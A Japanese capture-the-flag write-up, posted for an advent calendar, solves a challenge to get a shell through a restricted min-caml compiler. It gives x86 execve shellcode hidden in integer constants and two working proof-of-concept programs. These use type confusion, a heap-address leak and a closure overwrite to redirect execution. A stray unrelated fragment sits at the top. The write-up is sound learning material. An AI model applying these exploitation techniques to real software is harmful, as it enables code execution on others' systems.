cookies.txt      .scr

ただのテキストファイルのようだ

min-caml compiler pwn (ISer advent calendar 12/2出題)writeup

この記事はISer Advent Calendar 2018 16日目の記事です。
adventar.org

昨日はMisterプロによる「簡潔ビットベクトル(完備辞書)」でした。
misteer.hatenablog.com

17erのこおしいずです。CPU実験は1年前です。
アドベントカレンダー2日目の記事に、moratoriumプロによる「min-camlのプログラムからシェルが取れるか?」というのがあって、そこでpwn問題が出されていました。
もう2週間経ちますので、writeupをやっていこうと思います。
とはいえ、出題者からはもっと良質な想定解が提示される予定なので、12/23のアドベントカレンダー記事も読みましょう。
moraprogramming.hateblo.jp

問題概要

ISのCPU実験でのコンパイラ開発のベースとして使われる、min-camlというOCaml subsetコンパイラがあるのですが、この問題では、min-camlソースコードを与えると、そのコンパイラ(に制限を加えたもの)でコンパイルした結果を実行してくれるので、シェルをとれという問題です。
CTFでコンパイラへの入力を与えるタイプはあんまり見ない気がしますが、OCamlはめっちゃ型つける系だし、今回glibcも外されて*1、自明ではない、ということです。

コンパイラはなぜかArrayのPUT構文を潰されています。ふむ。

シェルコード

3行まとめ
  1. let a = 1 in let b = 1 in ()って書いておくと、movl 1, registerが連続する
  2. movlのopcodeの1byteがゴミとして挟まるが、任意の値を実行領域における
  3. ゴミはcmp al, xxでつぶす
本文

これから解法を2つ書くんですが、共通の着地点を先に書いておきます。
今回、任意のソースコードコンパイルしてくれて、当然そのコンパイル結果の機械語が実行可能領域に配置されるわけですが、そこにシェルコードをおいておいて、そこにprogram counterを移したら勝ち、という流れにします。
シェルコードの置き方ですが、いくつか手元でコンパイルを試してみたところ、

let rec f x = 1 in
let a = 1234 in
let b = 5678 in
let c = 9012 in
let _ = f a in
let _ = f b in
let _ = f c in
()

というようなコードは、

_min_caml_start: # for cygwin
        pushl   %eax
        pushl   %ebx
        pushl   %ecx
        pushl   %edx
        pushl   %esi
        pushl   %edi
        pushl   %ebp
        movl    32(%esp),%ebp
        movl    36(%esp),%eax
        movl    %eax,min_caml_hp
        movl    $1234, %eax
        movl    $5678, %ebx
        movl    $9012, %ecx
        movl    %ecx, 0(%ebp)
        movl    %ebx, 4(%ebp)
        addl    $8, %ebp
        call    f.4
...

のようにコンパイルされる模様です。
無意味に思われる関数fの呼び出しは、a, b, cのデータが無駄と判断されてアセンブル結果に出力されなくなることを防ぐために必要です。
$1234, $5678, $9012が連続的に配置されているのが見えます。
これはほぼ任意の値を実行可能といってよいでしょう。

アセンブルも行い、objdump結果も見てみます。

00000006 <_min_caml_start>:
   6:   50                      push   %eax
...
  15:   a3 00 00 00 00          mov    %eax,0x0
  1a:   b8 d2 04 00 00          mov    $0x4d2,%eax
  1f:   bb 2e 16 00 00          mov    $0x162e,%ebx
  24:   b9 34 23 00 00          mov    $0x2334,%ecx
  29:   89 4d 00                mov    %ecx,0x0(%ebp)
  2c:   89 5d 04                mov    %ebx,0x4(%ebp)
  2f:   83 c5 08                add    $0x8,%ebp
  32:   e8 c9 ff ff ff          call   0 <f.4>
...

b8, bb, b9などのmov + dest regに対応する1byteのゴミが付きますが、任意の値を配置できます。アドレス0x1bにpcを移せば、 d2 04 00 00 bb 2e...と実行されていくわけです。
ゴミbyteの対処は、cmp al, xxでつぶすという方針をとります。
たとえばcmp al, 0xb8は機械語で3c b8となるので、b8をつぶして次の機械語に移ることができます。

もととなるシェルコードはいつもお世話になっているshell-stormさんから探してきて、linux/x86 execve /bin/sh 23byteを使うことにします。
ただし、バイト数削減のために、使っている定数のいくつかはmin-camlで呼び出し時に与えることにします。

eax: 0xb == execve
ebx: /bin
ecx: 0 == NULL
edx: /sh\x00

さっきのゴミつぶし方針と、0x90 == nopをつかって、以下のシェルコードを作成しました。

...
    let v1 = 1016091474 in
    let v2 = 1011999625 in
    let v3 = 1021413715 in
    let v4 = 2160972337 in
    let _ = f v1 v2 v3 v4 0 in
...
  b3:   b8 52 53 90 3c          mov    $0x3c905352,%eax
  b8:   bb 89 e3 51 3c          mov    $0x3c51e389,%ebx
  bd:   b9 53 89 e1 3c          mov    $0x3ce18953,%ecx
  c2:   ba 31 d2 cd 80          mov    $0x80cdd231,%edx

1byteずらした逆アセンブル結果は、急にintel記法になってしまって申し訳ないですが、以下です*2

   0xb4 <min_caml_start+174>:   push   edx
   0xb5 <min_caml_start+175>:   push   ebx
   0xb6 <min_caml_start+176>:   nop
   0xb7 <min_caml_start+177>:   cmp    al,0xbb
   0xb9 <min_caml_start+179>:   mov    ebx,esp
   0xbb <min_caml_start+181>:   push   ecx
   0xbc <min_caml_start+182>:   cmp    al,0xb9
   0xbe <min_caml_start+184>:   push   ebx
   0xbf <min_caml_start+185>:   mov    ecx,esp
   0xc1 <min_caml_start+187>:   cmp    al,0xba
   0xc3 <min_caml_start+189>:   xor    edx,edx
   0xc5 <min_caml_start+191>:   int    0x80

nopとcmpでいいかんじにゴミが無効化されて、ただしくint 0x80 syscallされていく様子が見えます。

着地点を見つけたところで、このシェルコード実行に持っていく、次からが本題です。

解法1

3行まとめ
  1. min-camlは配列境界検査がない、type confusionが起こせる
  2. arrayとintのtype confusionでheapをleakし、ASLR無効化
  3. funcとintのtype confusionでシェルコードinvoke
本文

min-camlどころかOCamlなんて全て忘れてしまいましたが、がんばって去年を思い出すと、コンパイラ実験の課題で、配列境界検査を実装する課題があったような気がします。
出題者を含む18erがすでに終えたかはわかりませんが。
一般に言って、境界検査がないのは、十分に脆弱性たりえる気がします。

つまり、

let a = Array.make 1 1 in
let b = Array.make 1 1.0 in
let c = a.(1) in
()

などとすると、floatとintのtype confusionを起こせたといって良いでしょう。
もしprint_intなどしたら(今回ないですが)(試してないですが)、1.0のfloatのバイナリ表現をint解釈した値が出力されると思います。

このセンからいくと、配列とint、関数とintのtype confusionなども起こせるでしょう。
min-camlの内部表現についてなんて全部忘れてしまいましたが、配列を配列に格納したら、まあ常識的に考えて配列のポインタが入るでしょう。関数は関数ポインタかな。

今回の方針としては、まず、ASLR*3の無効化のために、arrayとintのtype confusionでheapアドレスをleakします。これ、heapとはいえ、いつものmallocとかで使われる「OS的な意味でのheap」とは全然違って、min-camlが予め場所をとっておいたただのbss領域なので、機械語とのoffsetは何度実行しても不変です。
heapアドレスがleakできたら、offset計算でシェルコードの位置を把握します。
そして、functionとintのtype confusionでintで書いた関数アドレスをfunctionとして呼び出すことで、シェルコードを実行します。
confusionさせるfunctionは4引数関数とすると、各引数がeax, ebx, ecx, edxに渡されるため、前述したシェルコードへの引数を実現できます。

ということで、以下がPoCです。

let a = Array.make 1 1 in
let _ = Array.make 1 a in
let hp = a.(1) in

let rec f _ = 1 in
let rec g _ _ _ _ = 1 in
(*let _ = Array.make 50 (hp - 7512) in*)
let _ = Array.make 50 (hp - 7480) in
let a = Array.make 1 g in
let _ = Array.make 1 (hp + 180) in
let f = a.(1) in

(* shellcode *)
let v1 = 1016091474 in
let v2 = 1011999625 in
let v3 = 1021413715 in
let v4 = 2160972337 in

(*
 * eax: 0x0b == execve
 * ebx: /bin
 * ecx: NULL
 * edx: /sh
 *)
let _ = f 11 1852400175 0 6845231 in
let _ = g v1 v2 v3 v4 in
()

ひとつだけブルートフォースで見つけるべき値があって、コード中の7480という数値がそれにあたります。
これはheapアドレスとシェルコードとのoffsetなんですが、これはアセンブラ依存で、環境によって異なってきます。
大きく差は生まれないはずなので、ローカルで正しい差(-7512)を得てから、それまわり100/4個くらい試しておけば大丈夫なはずです。*4

int listであるaと、直後のint list listである_でtype confusionさせて、heap addrをhpにとります。
そのあとhpとのoffsetでシェルコードaddrをとって、最後から3行目のf呼び出しで引数を選んでシェルコードを呼び出します。

解法2

3行まとめ
  1. arrayのGETつぶされた
  2. min_caml_startを内部から呼び出せて、heapアドレスを任意にできる
  3. 再帰検出は、leakしたheapアドレスのmod 4, mod 8をとった
本文

先の解法1を行ったところ、想定解でないとして出題者にこれをつぶした問題を作られてしまいました。
具体的には、もともとのArrayのPUTに加え、ArrayのGET構文も潰されてしまいました。
未だにArray.makeは使えますが、さてどうしたものでしょう。

少し唸りながら問題を眺めたりしていたところ、どうやってlibmincaml.Sの関数呼び出しが実現されていたかなどを考えて、min_caml_をprefixにもつ任意関数がmin-caml内部から呼べることに気づきました。
問題はさらに深くて、それら外部関数の型は、呼び出し方から空気を読んで推論されます。僕らが、putsはintを2つとる関数だと強く主張すると、それに流されちゃうコンパイラ。恐ろしいですね。
今回は、min_caml_create_arrayとmin_caml_startを利用します。

min_caml_startは、2引数関数で、stackとheapアドレスをとります。ここで引数を任意にして呼び出せたら、任意アドレスへの書き込みができて嬉しい気がしませんか。
やるだけやんけ、と思うかもしれませんが、この2引数は、gccの呼び出し規約(cdecl?)での話です。
cdeclの呼び出し規約は、引数はスタックに積まれます。しかしmin-camlは引数はレジスタを通して渡されます。しかもgcc 64bitとちがって、レジスタがあふれてもスタックが利用されることがありません。*5
ですから、min_caml_startに好きな引数をmin-camlから与えるのは一苦労します。
今回は、かなりboldな方法なきがするんですか、再帰呼出しによるスタックフレームのズレを利用して、再帰中でタイミングを見計らうことにします。
min_caml_startを何度か再帰呼び出しして実験をしてみると、1番目の再帰呼び出しではstackがまともなstack ptr、heapが_startのアドレスになることが分かりました。
2番目の再帰呼び出しでは、stackがやはりまともで、heapは任意にできそうです!
これはmin_caml_startのはじめの挙動がわりと大事で、min_caml_startから戻るときのためにレジスタをたくさんpushで保存します。
保存されるレジスタはeax, ebx, ecx, edx, esi, edi, ebpの順番です。ebpは普通のsaved ebpなわけですが、このediがarg1, esiがarg2の位置にfitします。esiはmin-caml conventionでは第5引数として使われがちです。
1回目のmin_caml_startの再帰呼び出しへの(mincaml convention)引数がpushでスタックに保存され、それが2回目の再帰呼出しの(cdecl convention)引数として使われて、heapが任意にできるということですね!ediは今見てみたらクロージャみたいなのに使われるっぽいですが、使われる前に再帰をしていたので特に変わらずにスタックが利用できたということでしょうか。

ということで、

  1. heap addr leak
  2. heap addrとしたいアドレスを第5引数に再帰
  3. もう一度再帰
  4. ここでヒープを書き換えることで任意アドレス書き換え
  5. 再帰から戻る
  6. もう一度再帰から戻ってtop levelへ
  7. ヒープが書き換わっている状態で続き

という流れができました。

次の問題は、今が何回目の再帰呼び出しなのかの検出です。
min_caml_startで再帰しようとしているわけですから、基本的にglobal variableなんてあるわけもなく、これが結構厄介です。
今回は、せっかくmin_caml_startの変な呼び出し方をして、heapを任意にできるようになったので、この任意になったheapアドレスで検出することにします。
先に書いたとおり、top levelのheapアドレスは当然まとも、1回目の再帰では_startの関数アドレス、2回目の再帰で任意にできます。
これを考えて、mod 8で0ならtop level、mod 4が0でないのは1回目の再帰、mod 8で4なら2回目の再帰とすることにしました。
_startのmod 4が0でないかは、ガチャですね。外しても無意味な行をmin-camlに入れとけばガチャを引き直せます。

以上で説明は終わりました。以下PoCです。

(* ensure data saving *)
let rec f a b c d e = 1 in

(* make closure taking four arguments *)
let rec make_closure x = (let rec g a b c d = x in g) in

let rec mod x y = if x < 0 then x + y else mod (x - y) y in

let hp = create_array 0 0 in

if 3 = mod hp 4 then
  (
    (* 2nd *)
    (* hp == _start (entrypoint) *)
    let x = start 1 2 3 4 5 in
    ()
  )
else if 4 = mod hp 8 then
  (
    (* 3rd *)
    (* hp == 5th argument for 2nd min_caml_start call *)

    (* heap spray with shellcode addr *)
    (*let _ = create_array 10 (hp - 7312) in*)
    let _ = create_array 10 (hp - 7280) in
    ()
  )
else
  (
    (* 1st *)
    let w1 = 1 in
    let w2 = 2 in
    let w3 = 3 in
    let w4 = 4 in
    let w5 = 5 in
    let cl1 = make_closure 1 in
    let cl2 = make_closure 1 in
    let x = start 0 0 0 0 (hp + 4) in

    (* invoke shellcode with arguments *)
    let _ = cl2 11 1852400175 0 6845231 in
    let _ = f w1 w2 w3 w4 w5 in

    (* shellcode *)
    let v1 = 1016091474 in
    let v2 = 1011999625 in
    let v3 = 1021413715 in
    let v4 = 2160972337 in
    let _ = f v1 v2 v3 v4 0 in

    ()
  )

ヒープ上に部分適用を使ってclosureを作ります。
再帰レベル検出前にheapを書き換えようとしてはいけません、_startがheapになっていることがあるわけで、SEGVを引き起こします。
再帰を行って、closureとoverlapするようなheapアドレスにしてから、create_arrayでclosureの関数アドレス部分をシェルコードに書き換えます。
再帰を戻って、クロージャに指定引数を与えてシェルコードを呼び出して終わりです。

感想

コンパイラ脆弱性探し、なかなかおもしろかったです。おもしろいのに、min-camlのマイナー性からあんまり遊んでもらえないの、悲しい。
ひとつブルートフォースによる値探索を残しているので、これはあまりきれいな解法とは言えないですね。出題者からのwriteupを楽しみにお待ち下さい。
CTF、現実逃避にはとってもいいですね!

*1:ゆーてこれヒントかもしれない、外す理由あんまりなくないですか?

*2:GASの普段の記法のAT&T記法とちがって、intel記法というのがあり、だいたいソースオペランドとデスティネーションオペランドの左右が逆になります。AT&T: movl $1234, 4(%eax)がintel: mov DWORD PTR [eax + 4], 1234みたいになります。

*3:ASLRとはセキュリティ機構の1つで、同じ実行可能ファイルを実行しても、stack, heapなどの開始アドレスをrandomizationしたり、さらにオブジェクトファイルが位置独立であるときは、オブジェクトファイルのメモリ配置さえもrandomizationする、というやつです。今回も、考えるべき関数ポインタが実行のたびに変わってくるので、少し手を焼きます。欲しいデータとoffsetが不変のアドレスをleakして、差を計算することで無効化できます。

*4:さすがにheap addressのmod 4は0でしょう

*5:なんということでしょう、x86で10引数関数呼び出しなんかをmin-camlで書くと、コンパイルに失敗します!